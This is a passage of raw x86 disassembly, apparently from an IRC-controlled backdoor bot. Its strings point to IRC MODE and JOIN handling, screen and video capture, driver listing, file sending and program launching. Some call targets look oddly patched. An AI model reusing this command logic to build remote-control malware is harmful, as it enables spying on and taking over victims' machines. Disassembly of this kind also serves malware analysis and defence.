		mov	[ebp+var_2094],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2218]
		push	ebx
		push	eax
		push	offset dword_4143CC
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_2094]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40884C


loc_40883A:				; CODE XREF: sub_401ACD+6D7Dj
		cmp	[ebp+var_2088],	ebx
		jnz	short loc_408867
		push	32h
		nop
		call	near ptr 2670EC6h
		jmp	short loc_40883A
; ---------------------------------------------------------------------------


loc_40884C:				; CODE XREF: sub_401ACD+6D6Bj
		call	near ptr 2680867h
		nop
		push	eax
		push	offset unk_42A530


loc_408858:				; CODE XREF: sub_401ACD+6E8Aj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_408867:				; CODE XREF: sub_401ACD+6D73j
					; sub_401ACD+6E6Ej
		cmp	[ebp+var_8], ebx
		jnz	loc_409631
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_409629
; ---------------------------------------------------------------------------


loc_408887:				; CODE XREF: sub_401ACD+4A14j
					; sub_401ACD+4A2Bj
		push	7Fh
		lea	eax, [ebp+var_23A8]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2328]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_22A8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2224],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_2220],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_23AC],	esi
		push	offset dword_42A504
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	11h
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_2228],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_23AC]
		push	ebx
		push	eax
		push	offset dword_413B78
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_2228]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40894B


loc_408935:				; CODE XREF: sub_401ACD+6E7Cj
		cmp	[ebp+var_221C],	ebx
		jnz	loc_408867
		push	32h
		call	near ptr 2670EC6h
		nop
		jmp	short loc_408935
; ---------------------------------------------------------------------------


loc_40894B:				; CODE XREF: sub_401ACD+6E66j
		nop
		call	near ptr 2680867h
		push	eax
		push	offset dword_42A4C8
		jmp	loc_408858
; ---------------------------------------------------------------------------


loc_40895C:				; CODE XREF: sub_401ACD+49E6j
					; sub_401ACD+49FDj
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A4C0
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 10h


loc_408979:				; CODE XREF: sub_401ACD+6F17j
		test	eax, eax
		jle	loc_409855
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855


loc_408995:				; CODE XREF: sub_401ACD+7A56j
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A4B8
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax]
		call	sub_409A2D
		jmp	loc_404934
; ---------------------------------------------------------------------------


loc_4089C0:				; CODE XREF: sub_401ACD+49B8j
					; sub_401ACD+49CFj
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_42A4AC
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		jmp	short loc_408979
; ---------------------------------------------------------------------------


loc_4089E6:				; CODE XREF: sub_401ACD+498Aj
					; sub_401ACD+49A1j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB58
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41B779
		add	esp, 10h
		test	eax, eax
		jle	loc_409855
		push	esi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A4B8
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax]
		call	sub_409A2D
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset dword_42A490


loc_408A4C:				; CODE XREF: sub_401ACD+700Aj
					; sub_401ACD+7079j ...
		call	sub_415221
		jmp	loc_404934
; ---------------------------------------------------------------------------


loc_408A56:				; CODE XREF: sub_401ACD+495Cj
					; sub_401ACD+4973j
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408A85
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A488
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_408A85:				; CODE XREF: sub_401ACD+6FA1j
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409855
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A4B8
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax]
		call	sub_409A2D
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42A46C
		jmp	loc_408A4C
; ---------------------------------------------------------------------------


loc_408ADC:				; CODE XREF: sub_401ACD+492Ej
					; sub_401ACD+4945j
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409855
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409855
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855
		push	esi
		push	offset dword_42A4B8
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax]
		call	sub_409A2D
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42A450
		jmp	loc_408A4C
; ---------------------------------------------------------------------------


loc_408B4B:				; CODE XREF: sub_401ACD+4900j
					; sub_401ACD+4917j
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409855
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		push	esi
		push	offset unk_42A428
		jmp	loc_40984E
; ---------------------------------------------------------------------------


loc_408B87:				; CODE XREF: sub_401ACD+48D2j
					; sub_401ACD+48E9j
		push	[ebp+var_8C]
		push	offset dword_42D028
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		push	edi
		push	offset dword_42A41C
		push	[ebp+arg_4]
		call	sub_409A2D
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		nop
		call	near ptr 2670EC6h
		push	[ebp+esi+var_84]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		push	offset dword_42A408
		call	sub_4151AD
		jmp	loc_403520
; ---------------------------------------------------------------------------


loc_408BEB:				; CODE XREF: sub_401ACD+48A4j
					; sub_401ACD+48BBj
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409855
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42AB3C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 20h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_42A3EC
		jmp	loc_408A4C
; ---------------------------------------------------------------------------


loc_408C58:				; CODE XREF: sub_401ACD+4876j
					; sub_401ACD+488Dj
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409855
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_42A3CC
		jmp	loc_408A4C
; ---------------------------------------------------------------------------


loc_408CAD:				; CODE XREF: sub_401ACD+4848j
					; sub_401ACD+485Fj
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		push	eax
		push	[ebp+arg_10]
		call	sub_4150B5
		pop	ecx
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_42A3AC


loc_408CDC:				; CODE XREF: sub_401ACD+5853j
					; sub_401ACD+7B2Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_409610
; ---------------------------------------------------------------------------


loc_408CF0:				; CODE XREF: sub_401ACD+481Aj
					; sub_401ACD+4831j
		push	edi
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4184E2
		jmp	loc_4040FD
; ---------------------------------------------------------------------------


loc_408D0A:				; CODE XREF: sub_401ACD+47DCj
					; sub_401ACD+47F1j
		push	[ebp+arg_10]
		push	[ebp+arg_1C]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409855
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	loc_408DB2
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408D9A
		push	esi
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A600
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	[ebp+arg_10]
		push	offset unk_42A384
		push	eax
		call	sub_41B886
		add	esp, 10h
		inc	[ebp+arg_24]
		jmp	loc_40877B
; ---------------------------------------------------------------------------


loc_408D9A:				; CODE XREF: sub_401ACD+7270j
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A354
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40877B
; ---------------------------------------------------------------------------


loc_408DB2:				; CODE XREF: sub_401ACD+725Bj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF7
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset dword_42A338
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		jmp	loc_40877B
; ---------------------------------------------------------------------------


loc_408DFE:				; CODE XREF: sub_401ACD+47B2j
					; sub_401ACD+47C7j
		push	offset aScreen	; "screen"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408E59
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		jz	short loc_408E46
		push	edi
		call	sub_4153BD
		cmp	eax, 1
		pop	ecx
		jnz	short loc_408E3F
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A304
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408E59
; ---------------------------------------------------------------------------


loc_408E3F:				; CODE XREF: sub_401ACD+7359j
		push	offset unk_42A2D4
		jmp	short loc_408E4B
; ---------------------------------------------------------------------------


loc_408E46:				; CODE XREF: sub_401ACD+734Dj
		push	offset unk_42A298


loc_408E4B:				; CODE XREF: sub_401ACD+7377j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_408E59:				; CODE XREF: sub_401ACD+7342j
					; sub_401ACD+7370j
		push	offset aDrivers	; "drivers"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408EE6
		xor	edi, edi


loc_408E6E:				; CODE XREF: sub_401ACD+7404j
		lea	eax, [ebp+var_53F8]
		push	1FFh
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	0FFh
		push	eax
		push	edi
		call	dword_4CB684
		test	eax, eax
		jz	short loc_408ECD
		lea	eax, [ebp+var_53F8]
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	eax
		push	edi
		lea	eax, [ebp+var_5D88]
		push	offset unk_42A268
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_5D88]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 28h


loc_408ECD:				; CODE XREF: sub_401ACD+73C2j
		inc	edi
		cmp	edi, 0Ah
		jl	short loc_408E6E
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A240
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_408EE6:				; CODE XREF: sub_401ACD+739Dj
		push	offset aFrame	; "frame"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408F87
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_408F74
		cmp	[ebp+esi+var_84], ebx
		jz	short loc_408F74
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		jz	short loc_408F74
		mov	eax, [ebp+esi+var_7C]
		cmp	eax, ebx
		jz	short loc_408F74
		push	eax
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_4155F8
		add	esp, 10h
		test	eax, eax
		jnz	short loc_408F6D
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A20C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408F87
; ---------------------------------------------------------------------------


loc_408F6D:				; CODE XREF: sub_401ACD+7481j
		push	offset unk_42A1D8
		jmp	short loc_408F79
; ---------------------------------------------------------------------------


loc_408F74:				; CODE XREF: sub_401ACD+7437j
					; sub_401ACD+7440j ...
		push	offset unk_42A1A0


loc_408F79:				; CODE XREF: sub_401ACD+74A5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_408F87:				; CODE XREF: sub_401ACD+742Aj
					; sub_401ACD+749Ej
		push	offset aVideo	; "video"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40875A
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_1C], eax
		jz	short loc_40901F
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_40901F
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_40901F
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		jz	short loc_40901F
		mov	esi, [ebp+esi+var_78]
		cmp	esi, ebx
		jz	short loc_40901F
		push	esi
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_18]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_1C]
		call	sub_4157F1
		add	esp, 14h
		test	eax, eax
		jnz	short loc_409015
		push	[ebp+arg_1C]
		push	offset unk_42A16C
		jmp	loc_40874B
; ---------------------------------------------------------------------------


loc_409015:				; CODE XREF: sub_401ACD+7539j
		push	offset unk_42A12C
		jmp	loc_4090E3
; ---------------------------------------------------------------------------


loc_40901F:				; CODE XREF: sub_401ACD+74DDj
					; sub_401ACD+74EBj ...
		push	offset unk_42A0EC
		jmp	loc_4090E3
; ---------------------------------------------------------------------------


loc_409029:				; CODE XREF: sub_401ACD+4042j
					; sub_401ACD+4057j
		push	offset aR	; "r"
		push	[ebp+arg_10]
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	short loc_409099
		mov	esi, 200h
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch


loc_409054:				; CODE XREF: sub_401ACD+75B6j
		test	eax, eax
		jz	short loc_409085
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 20h
		jmp	short loc_409054
; ---------------------------------------------------------------------------


loc_409085:				; CODE XREF: sub_401ACD+7589j
		push	edi
		call	sub_41B05B
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_42A0C8
		jmp	loc_409227
; ---------------------------------------------------------------------------


loc_409099:				; CODE XREF: sub_401ACD+756Fj
		push	[ebp+arg_10]
		push	offset unk_42A0A4
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_4090A6:				; CODE XREF: sub_401ACD+4018j
					; sub_401ACD+402Dj
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409855
		push	offset asc_42A0A0 ; "\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_419A51
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4090F6
		push	offset unk_42A074


loc_4090E3:				; CODE XREF: sub_401ACD+754Dj
					; sub_401ACD+7557j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40875A
; ---------------------------------------------------------------------------


loc_4090F6:				; CODE XREF: sub_401ACD+760Fj
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A05C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_40877B
; ---------------------------------------------------------------------------


loc_409110:				; CODE XREF: sub_401ACD+3FEEj
					; sub_401ACD+4003j
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409855
		push	eax
		call	sub_418212
		test	eax, eax
		pop	ecx
		jnz	short loc_409140
		push	offset unk_42A03C
		jmp	short loc_4090E3
; ---------------------------------------------------------------------------


loc_409140:				; CODE XREF: sub_401ACD+766Aj
		push	offset dword_42A020
		jmp	short loc_4090E3
; ---------------------------------------------------------------------------


loc_409147:				; CODE XREF: sub_401ACD+3FC4j
					; sub_401ACD+3FD9j
		push	7Fh
		lea	eax, [ebp+var_2080]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_409178
		push	7Fh
		lea	eax, [ebp+var_2000]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_409178:				; CODE XREF: sub_401ACD+7697j
		push	7Fh
		lea	eax, [ebp+var_1F80]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_2084],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_1EFC],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1EF8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A008
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ch
		push	eax
		call	sub_40B0F7
		add	esp, 18h
		mov	[ebp+var_1F00],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2084]
		push	ebx
		push	eax
		push	offset sub_41ADB6
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_1F00]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40921B


loc_409205:				; CODE XREF: sub_401ACD+774Cj
		cmp	[ebp+var_1EF4],	ebx
		jnz	loc_406D00
		push	32h
		nop
		call	near ptr 2670EC6h
		jmp	short loc_409205
; ---------------------------------------------------------------------------


loc_40921B:				; CODE XREF: sub_401ACD+7736j
		call	near ptr 2680867h
		nop
		push	eax
		push	offset unk_429FC8


loc_409227:				; CODE XREF: sub_401ACD+29CFj
					; sub_401ACD+75C7j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_406D00
; ---------------------------------------------------------------------------


loc_40923B:				; CODE XREF: sub_401ACD+3F9Aj
					; sub_401ACD+3FAFj
		push	ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_10]
		call	sub_40F96B
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset dword_429FB0
		jmp	loc_40984E
; ---------------------------------------------------------------------------


loc_40925D:				; CODE XREF: sub_401ACD+3F70j
					; sub_401ACD+3F85j
		push	14h
		lea	eax, [ebp+var_1D48]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1D34]
		push	[ebp+arg_10]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1D50],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_1C30]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1BA8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1BA4],	eax
		lea	eax, [ebp+var_1C30]
		push	eax
		lea	eax, [ebp+var_1D34]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_429F8C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_1BAC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1D50]
		push	ebx
		push	eax
		push	offset loc_415E1B
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_1BAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	loc_4023E6


loc_409326:				; CODE XREF: sub_401ACD+786Dj
		cmp	[ebp+var_1BA0],	ebx
		jnz	loc_4083BD
		push	32h
		nop
		call	near ptr 2670EC6h
		jmp	short loc_409326
; ---------------------------------------------------------------------------


loc_40933C:				; CODE XREF: sub_401ACD+3F46j
					; sub_401ACD+3F5Bj
		push	[ebp+arg_10]
		nop
		call	near ptr 268018Ah
		test	eax, eax
		jz	short loc_409367
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset dword_429F70
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_409445
; ---------------------------------------------------------------------------


loc_409367:				; CODE XREF: sub_401ACD+787Aj
		push	offset dword_42A778
		call	sub_41814D
		pop	ecx
		push	eax
		jmp	loc_403F48
; ---------------------------------------------------------------------------


loc_409378:				; CODE XREF: sub_401ACD+3F1Cj
					; sub_401ACD+3F31j
		push	[ebp+arg_10]
		call	sub_41B779
		push	eax
		call	sub_4199CA
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		push	[ebp+arg_10]
		cmp	eax, esi
		jnz	short loc_409399
		push	offset unk_429F4C
		jmp	short loc_40939E
; ---------------------------------------------------------------------------


loc_409399:				; CODE XREF: sub_401ACD+78C3j
		push	offset unk_429F1C


loc_40939E:				; CODE XREF: sub_401ACD+78CAj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_406D03
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h
		jmp	loc_406D03
; ---------------------------------------------------------------------------


loc_4093D7:				; CODE XREF: sub_401ACD+3EF2j
					; sub_401ACD+3F07j
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_4196BD
		add	esp, 18h
		cmp	eax, 1
		push	[ebp+arg_10]
		jnz	short loc_4093FD
		push	offset unk_429EFC
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_4093FD:				; CODE XREF: sub_401ACD+7924j
		push	offset unk_429ECC
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_409407:				; CODE XREF: sub_401ACD+3EC8j
					; sub_401ACD+3EDDj
		mov	esi, [ebp+arg_10]
		push	esi
		call	dword_4CB694
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_2D8], eax
		jz	short loc_40944D
		push	2
		lea	eax, [ebp+var_2D8]
		push	4
		push	eax
		call	dword_4CB60C
		cmp	eax, ebx
		jz	short loc_409468
		push	dword ptr [eax]


loc_409433:				; CODE XREF: sub_401ACD+7999j
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset unk_429EAC
		push	eax
		call	sub_41B886


loc_409445:				; CODE XREF: sub_401ACD+7895j
		add	esp, 10h
		jmp	loc_406CDF
; ---------------------------------------------------------------------------


loc_40944D:				; CODE XREF: sub_401ACD+794Dj
		push	esi
		call	dword_4CB6D8
		cmp	eax, ebx
		jz	short loc_409468
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4CB6E0
		push	eax
		jmp	short loc_409433
; ---------------------------------------------------------------------------


loc_409468:				; CODE XREF: sub_401ACD+7962j
					; sub_401ACD+7989j
		push	offset unk_429E84
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_409472:				; CODE XREF: sub_401ACD+3E9Ej
					; sub_401ACD+3EB3j
		push	7Fh
		push	[ebp+arg_10]
		push	[ebp+arg_14]
		call	sub_41B5F0
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429E5C
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_40948F:				; CODE XREF: sub_401ACD+3E74j
					; sub_401ACD+3E89j
		push	5
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CB5C0
		push	[ebp+arg_10]
		test	eax, eax
		jz	short loc_4094B3
		push	offset unk_429E3C
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_4094B3:				; CODE XREF: sub_401ACD+79DAj
		push	offset unk_429E18
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_4094BD:				; CODE XREF: sub_401ACD+3E4Aj
					; sub_401ACD+3E5Fj
		mov	eax, [ebp+arg_10]
		mov	cl, [eax]
		mov	byte_429094, cl
		movsx	eax, byte ptr [eax]
		push	eax
		push	offset unk_429DF0
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_4094D6:				; CODE XREF: sub_401ACD+3E20j
					; sub_401ACD+3E35j
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409855
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08E
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB58
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_408995
; ---------------------------------------------------------------------------


loc_409528:				; CODE XREF: sub_401ACD+3DF6j
					; sub_401ACD+3E0Bj
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_401E94
		push	esi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
